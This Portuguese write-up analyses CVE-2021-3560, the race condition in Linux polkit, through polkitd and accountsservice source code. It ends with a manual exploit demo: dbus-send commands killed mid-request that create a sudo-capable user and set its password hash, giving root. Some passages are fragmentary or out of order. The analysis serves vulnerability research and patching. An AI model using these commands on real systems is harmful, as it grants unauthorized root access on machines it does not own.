
Análise aprofundada da CVE-2021-3560, uma vulnerabilidade de escalonamento local de privilégios no Linux PolKit. Inclui análise da causa raiz, mecânica do exploit e uma demonstração da condição de corrida que leva ao acesso root.
[toc]
ID da vulnerabilidade: CVE-2021-3560
Pontuação da vulnerabilidade:
Produto vulnerável: linux PolKit (polkitd)
Escopo de impacto: introduzido no código-fonte 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
Condições de exploração: linux local; dbus + polkitd presente
Efeito da exploração: elevação de privilégio local
Obtenção do código-fonte:
apt source accountsserviceapt source dbusA imagem padrão do Ubuntu ubuntu-20.04.2 já pode ser reproduzida: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
Primeiro, veja o código do problema
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
Na função polkit_system_bus_name_get_creds_sync, que realiza a autenticação de identidade para certas requisições (a lógica do cenário específico será detalhada posteriormente). Ela chama os métodos GetConnectionUnixUser e GetConnectionUnixProcessID através do barramento org.freedesktop.DBus. Esses métodos, fornecidos pelo barramento org.freedesktop.DBus, obtêm o PID e o UID do processo solicitante, que são passados para a função de retorno on_retrieved_unix_uid_pid para processar os dados retornados. Em seguida, o código aguarda bloqueando até que o barramento termine o processamento.
Pode-se ver na função on_retrieved_unix_uid_pid que, com base no resultado retornado pelo barramento, define se houve uma exceção (error?) e então define o sinalizador de exceção. Se a execução for bem-sucedida, retorna normalmente o UID do usuário ou o PID do processo. Mas, na função polkit_system_bus_name_get_creds_sync, após aguardar bloqueando o retorno do barramento (julgando se os sinalizadores de processamento indicam que tanto UID quanto PID foram processados ou que ocorreu uma exceção), ou seja, logicamente, o barramento pode retornar três resultados: obter UID de usuário 0 (usuário privilegiado); obter UID de usuário não zero (usuário comum); ou exceção. No entanto, no processamento posterior, não há tratamento para exceções: ele define diretamente out_uid a ser retornado para a camada superior como data.uid retornado pelo barramento e define ret como TRUE:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
Mas ignora uma situação: quando a execução no barramento DBUS resulta em exceção, a função de retorno define o sinalizador de exceção e retorna sem processar os dados data, que foi inicializado como 0. Isso faz com que posteriormente out_uid seja definido como 0, ou seja, usuário privilegiado.
Então, onde essa função problemática polkit_system_bus_name_get_creds_sync é usada?
O ponto vulnerável está no processo polkitd:
polkit é um conjunto de ferramentas em nível de aplicação que, através da definição e auditoria de regras de permissão, possibilita a comunicação entre processos de diferentes prioridades: as decisões de controle são centralizadas em um framework unificado, determinando se um processo de baixa prioridade tem acesso a um processo de alta prioridade.
Resumindo, é um processo root executado em segundo plano que, por meio de comunicação entre processos, realiza um julgamento de permissão quando outros processos de baixa prioridade tentam acessar funcionalidades fornecidas por processos de alta prioridade. Como anexar um depurador a esse processo o reinicia, só podemos analisar pelo código-fonte para encontrar o caminho de gatilho da função vulnerável:
O polkitd utiliza extensivamente o framework de comunicação entre processos gio DBUS. Pode-se consultar previamente o manual e prestar atenção a algumas funções importantes.
A seguir, analisa-se o caminho de gatilho da vulnerabilidade no polkitd:
Primeiro, o main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
Primeiro, registra um barramento chamado org.freedesktop.PolicyKit1, e há três funções de retorno; foca principalmente em on_bus_acquired, que é chamada quando o barramento é acessado.
Na função on_bus_acquired, chama diretamente uma função de registro de tipo polkit_backend_authority_register
Ou seja, quando outras funções chamam o método CheckAuthorization no barramento org.freedesktop.PolicyKit1.Authority, sob certas circunstâncias (controlar a obtenção do UID solicitante no DBUS para retornar uma exceção), pode afetar a correção da autenticação da identidade desse método. Como podemos olhar diretamente a resposta, o método de exploração da vulnerabilidade é usar o account-daemon
Primeiro, citamos esta imagem do autor do exploit:
Apresentando os elementos da imagem:
polkitd, dbus-daemon e account-daemon são três processos de serviço em segundo plano executados com privilégios root.
dbus-daemon é um "roteador" de comunicação entre processos, ou seja, o núcleo do framework de comunicação entre processos GIO DBUS mencionado acima. Minha compreensão é que diferentes processos podem registrar nomes de barramento aqui, e os processos que desejam se comunicar com você podem acessar o nome do barramento, interface e nome do método para chamar funções no seu processo. As funções do processo polkitd descritas acima são registradas no DBUS aguardando chamadas de outros processos.
account-daemon é semelhante ao polkitd: registra o barramento org.freedesktop.Accounts no DBUS e fornece uma série de métodos relacionados a contas, como adicionar usuários e definir senhas, que serão usados a seguir. E antes de operações como adicionar usuários, esse processo realiza uma autenticação do usuário, e o método de autenticação utilizado é exatamente o método de barramento vulnerável CheckAuthorization fornecido pelo processo polkitd.
Portanto, a sequência geral de eventos da exploração da vulnerabilidade é:
dbus-send para enviar uma mensagem ao processo account-daemon solicitando a criação de um usuário administrador (o método CreateUser fornecido por esse processo adiciona por padrão um usuário administrador), mas com nossa identidade não podemos concluir essa operação.account-daemon, ele solicitará ao processo polkitd uma verificação de permissão para aprovar a operação de adição de usuário.polkitd perguntará ao barramento sobre o usuário e o ID do processo que fez a solicitação de criação.
polkitd sobre a permissão do processo solicitante, matar o processo solicitante (ou seja, o processo dbus-send).polkitd, que considera a exceção como sucesso e assume que o UID do usuário é 0, ou seja, usuário privilegiado. Isso aciona a vulnerabilidade e permite a operação.dbus-send tenha sido morto, causando uma exceção na detecção do barramento, o não é afetado; depois que o recebe a mensagem, ele não se importa mais se o processo solicitante ainda existe.Como o dbus-daemon é apenas um processo intermediário, não o analisaremos em detalhes, mas aqui analisamos o processo account-daemon, que é o processo chave no processo de exploração. Este processo também usa o framework GIO DBUS. Vamos analisar brevemente alguns pontos importantes. Primeiro, vejamos
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Aqui são usadas as macros G_DEFINE_TYPE_WITH_CON e G_IMPLEMENT_INTERFACE para executar a função daemon_accounts_accounts_iface_init. O significado dessas duas macros é que elas executarão a função daemon_accounts_accounts_iface_init em algum momento; nesta função, o método create_user é registrado. Vejamos diretamente a implementação da função daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
Em daemon_create_user, chama a função daemon_local_check_auth para verificar se a permissão do usuário solicitante é permitida; se bem-sucedida, chama a função de retorno daemon_create_user_authorized_cb. Primeiro, vejamos a função de autenticação daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Aqui é chamada a função polkit_authority_check_authorization para autenticação. polkit_authority_check_authorization é uma função de biblioteca fornecida por libpolkit-gobject-1.so.0, que chama diretamente o método CheckAuthorization no barramento org.freedesktop.PolicyKit1.Authority do processo polkitd analisado acima para autenticação. Se a autenticação for bem-sucedida, chama a função de retorno daemon_create_user_authorized_cb:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
Aqui está muito claro: após adicionar o usuário com sucesso, ele o adiciona diretamente ao grupo sudo, então no exploit, após adicionar o usuário, pode-se mudar para root com sudo su root.
A seguir, vejamos um demo de exploração manual.
Usando o comando dbus-send como usuário comum para enviar uma solicitação de criação de usuário ao account-daemon:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
Esta solicitação, em sistemas operacionais com interface gráfica, exibirá uma janela para inserir senha:
Em terminais de linha de comando como SSH, falha diretamente:

De acordo com a ideia de exploração acima, primeiro vejamos o tempo de execução do comando:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Em seguida, escolha matar o comando aproximadamente na metade do tempo de execução para ter chance de acionar a vulnerabilidade e criar com sucesso:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Executando várias vezes, pode ter sucesso:

E também está no grupo sudo:

Depois, com o mesmo método, adiciona uma senha:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 precisa ser ajustado de acordo com o UID do usuário recém-criado; a senha usa o valor hash. Em seguida, mude para o usuário.
Aqui não foi detalhado um exploit específico; basicamente, é automatizar os comandos acima. O exploit em C do GitHub também funciona.
Atualizar para a versão mais recente
Divulgação da vulnerabilidade (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
Na função polkit_backend_authority_register, registra um objeto de interface org.freedesktop.PolicyKit1.Authority e passa uma tabela de funções de retorno server_vtable. O ponto de gatilho da vulnerabilidade está nessa tabela de funções de retorno:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
Quando outros processos chamam o método CheckAuthorization no barramento, a função server_handle_check_authorization é invocada.
Na função server_handle_check_authorization, chama polkit_backend_authority_check_authorization
Na função polkit_backend_authority_check_authorization, através de um callback, chama klass->check_authorization, cuja função registrada é polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
Em seguida, basta seguir a ordem: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
Função vulnerável: polkit_system_bus_name_get_user_sync
dbus-send é um comando; o barramento DBUS fornece algumas interfaces de programação para comunicação entre processos, bem como comandos de linha de comando que podem enviar mensagens diretamente a processos fixos para chamar seus métodos.
account-daemonaccount-daemonaccount-daemon recebe a resposta do polkitd autorizando a adição e cria o usuário, completando a exploração.